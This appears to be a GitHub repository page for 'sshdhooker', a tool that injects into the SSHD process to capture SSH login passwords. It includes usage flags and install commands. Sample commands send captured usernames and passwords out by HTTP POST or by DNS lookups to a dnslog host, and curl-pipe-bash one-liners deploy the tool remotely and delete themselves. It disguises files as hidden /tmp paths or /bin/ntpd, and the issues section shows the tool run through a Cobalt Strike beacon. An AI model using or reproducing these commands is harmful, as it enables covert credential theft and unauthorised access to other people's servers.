9bie / sshdhooker Goto Github PK

View Code? Open in Web Editor NEW

385.0 7.0 57.0 52 KB

One-click injection into the SSHD process to record and send the password for ssh login

C 47.96% Assembly 0.52% Shell 51.52%

sshdhooker's Introduction

what's this?

SSHD injector, and then you can record passwords or do other operations.

Need to close selinux

English | 中文文档

how to use

auto installer

anto installer，Only temporarily supports x64/aarch64

Run:

bash install.sh or bash install_aarch64.sh

Login with ssh password after running，The password record address is /tmp/.password.txt. default evil so path is /tmp/hello.so，default injector path is/tmp/.i

Other parameters:

    -s   Manually specify the sshd process id to be injected (usually it will be obtained automatically)
    -e   custom so file path，default is /tmp/.g.so
    -o   custom injector path，default is /bin/ntpd
    -m   change mode,defulat is 0, mode is 0 is to output to the file，output path is /tmp/.password.txt ，mode is 1 is to command execution mode
    -p   change payload，defsult is /tmp/.password.txt,if mode is 1，then use snsprintf to format the command and execute,Make sure the command contains both %s for format username and password
    -d   anto delete,If the value is anyone, any password is captured and deleted.Otherwise, it will be deleted after matching the entered username.
    -l   Specify the libc path. The default addressing is to find libc-xxxx.so and libc.so.x, but it does not rule out that there will be other strange libc names, so the manual specification function is added. For details, please check /proc/pid Find the libc name in /maps

samples

http send password

bash install.sh -p "curl -X POST -d 'username=%s\&password=%s' --connect-timeout 1 -m 1 http://127.0.0.1" -m 1

dns send password and self-delete (Please make sure that your command is not blocked, because the actual use of this program is that the system is an online program, if the command is blocked, it will cause the ssh login program to be blocked)

bash install.sh -p 'ping `echo %s-%s|xxd -ps`.k9lovy.dnslog.cn -c 1' -m 1 -d anyone

Fast remote automatic deployment and self-delete for If any user login succeeds

curl -L https://github.com/9bie/sshdHooker/releases/download/1.0.4/sshdHooker.sh | bash -s -- -d anyone

Fast remote automatic deployment and used by http send password and self-delete for If any user login succeeds (Recommend)

curl -L https://github.com/9bie/sshdHooker/releases/download/1.0.4/sshdHooker.sh | bash -s -- -p "curl -X POST -d 'username=%s\&password=%s' --connect-timeout 1 -m 1 http://127.0.0.1" -m 1 -d anyone

debug

use


gcc -shared inject_got.c -ldl -fPIC -o test2.so -std=c99

mv test2.so /tmp/hello.so

gcc sshdHooker.c shellcode.s -g -o inject -ldl -lpthread

sudo ./inject sshd_pid

todo

add x86/arm support
bypass SELINUX

sshdhooker's People

Contributors

Stargazers

Watchers

Forkers

lay0us1 sec-fork agelovito crackercat nkingpp schrodyn meowwbox test1213145 darkkid0 lighthouse-951 purewatersun fengjixuchui superzero zzhsec h3art3ars bb33bb steward007 sv3nbeast gitttttbottttt t43wiu6 ofalwl 5l1v3r1 xwna x-tfrk tgirl7 wyzmgmdg anythingalwaysforget changheluor007 lp008 bravery9 4869aptx jackypeng66 0rx1 baka9moe svchost9913 libaizaishuijiao exodusro ruofei5211 st-rnd sec-fork mickeystone xuehua312741499 ninja400ya kernux xkroot nellwhoami landixiansen git0hub1 pengtao007 m-t00ls gnusec 503744399 accgitno thinkergod 30579096

sshdhooker's Issues

aarch64编译失败

uname -a
Linux ecs-2817 4.18.0-147.5.1.el8_1.aarch64 #1 SMP Tue Feb 4 23:44:08 UTC 2020 aarch64 aarch64 aarch64 GNU/Linux

What is this 257? In kernel-2.6.32 will not return 257.

Hello, I hope to get help, I have a problem with the test under centos6.10, kernel 2.6.32

num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
if(num ==257){

What is this 257? In kernel-2.6.32 will not return 257.
How much should be returned in kernel-2.6.32?

普通用户权限可以使用么？

非root用户，普通用户权限可以使用么？

`/tmp/.i': Permission denied

target: CloudLinux release 6.10 (Final)
core:2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

beacon> shell ./sshdHooker_x64.sh
[] Tasked beacon to run: ./sshdHooker_x64.sh
[] Hello,Dog cs.
[+] host called home, sent: 50 bytes
[+] received output:
/bin/sh: ./sshdHooker_x64.sh: Permission denied

beacon> shell /bin/bash ./sshdHooker_x64.sh
[] Tasked beacon to run: /bin/bash ./sshdHooker_x64.sh
[] Hello,Dog cs.
[+] host called home, sent: 60 bytes
[+] received output:
/tmp/.g.c: In function â��update_entryâ��:
/tmp/.g.c:215: warning: implicit declaration of function â��getpagesizeâ��
/tmp/.i.c: In function â��ManualGCâ��:
/tmp/.i.c:367: warning: â��returnâ�� with a value, in function returning void
/tmp/.i.c:373: warning: assignment makes integer from pointer without a cast
/tmp/.i.c:377: warning: â��returnâ�� with a value, in function returning void
/tmp/.i.c: In function â��Inject_Shellcodeâ��:
/tmp/.i.c:491: warning: assignment makes integer from pointer without a cast
/tmp/.i.c: In function â��WaitforLibPAMâ��:
/tmp/.i.c:560: warning: assignment makes pointer from integer without a cast
/tmp/.i.c: In function â��mainâ��:
/tmp/.i.c:621: warning: passing argument 4 of â��pthread_createâ�� makes pointer from integer without a cast
/usr/include/pthread.h:225: note: expected â��void * __restrict__â�� but argument is of type â��long intâ��
nohup: failed to run command `/tmp/.i': Permission denied

gcc -shared inject_got.c -ldl -fPIC -o test2.so -std=c99
inject_got.c: In function ‘update_entry’:
inject_got.c:216: warning: implicit declaration of function ‘getpagesize’

gcc sshdHooker.c shellcode.s -g -o inject -ldl -lpthread
sshdHooker.c: In function ‘ManualGC’:
sshdHooker.c:366: warning: ‘return’ with a value, in function returning void
sshdHooker.c:372: warning: assignment makes integer from pointer without a cast
sshdHooker.c:376: warning: ‘return’ with a value, in function returning void
sshdHooker.c: In function ‘Inject_Shellcode’:
sshdHooker.c:490: warning: assignment makes integer from pointer without a cast
sshdHooker.c: In function ‘WaitforLibPAM’:
sshdHooker.c:559: warning: assignment makes pointer from integer without a cast
sshdHooker.c: In function ‘main’:
sshdHooker.c:620: warning: passing argument 4 of ‘pthread_create’ makes pointer from integer without a cast
/usr/include/pthread.h:225: note: expected ‘void * restrict’ but argument is of type ‘long int’

ls
./ ../ inject* inject_got.c shellcode.s sshdHooker.c test2.so*

bash ./inject 1930
./inject: ./inject: cannot execute binary file